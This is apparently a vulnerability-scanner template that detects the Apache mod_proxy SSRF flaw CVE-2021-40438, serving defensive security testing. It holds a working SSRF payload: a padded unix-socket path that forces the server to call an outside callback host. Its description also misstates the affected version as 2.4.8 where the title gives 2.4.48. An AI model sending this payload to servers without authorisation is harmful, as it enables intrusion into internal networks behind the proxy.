id: CVE-2021-40438

info:
  name: Apache <= 2.4.48 Mod_Proxy SSRF
  author: pdteam
  severity: critical
  description: Apache 2.4.8 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
  remediation: Upgrade to Apache version 2.4.49 or newer.
  reference:
    - https://firzen.de/building-a-poc-for-cve-2021-40438
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40438
  tags: cve,cve2021,ssrf,apache,mod-proxy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.00
    cve-id: CVE-2021-40438
    cwe-id: CWE-918

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'

    redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - "Interactsh Server"

# Enhanced by cs on 2022/02/22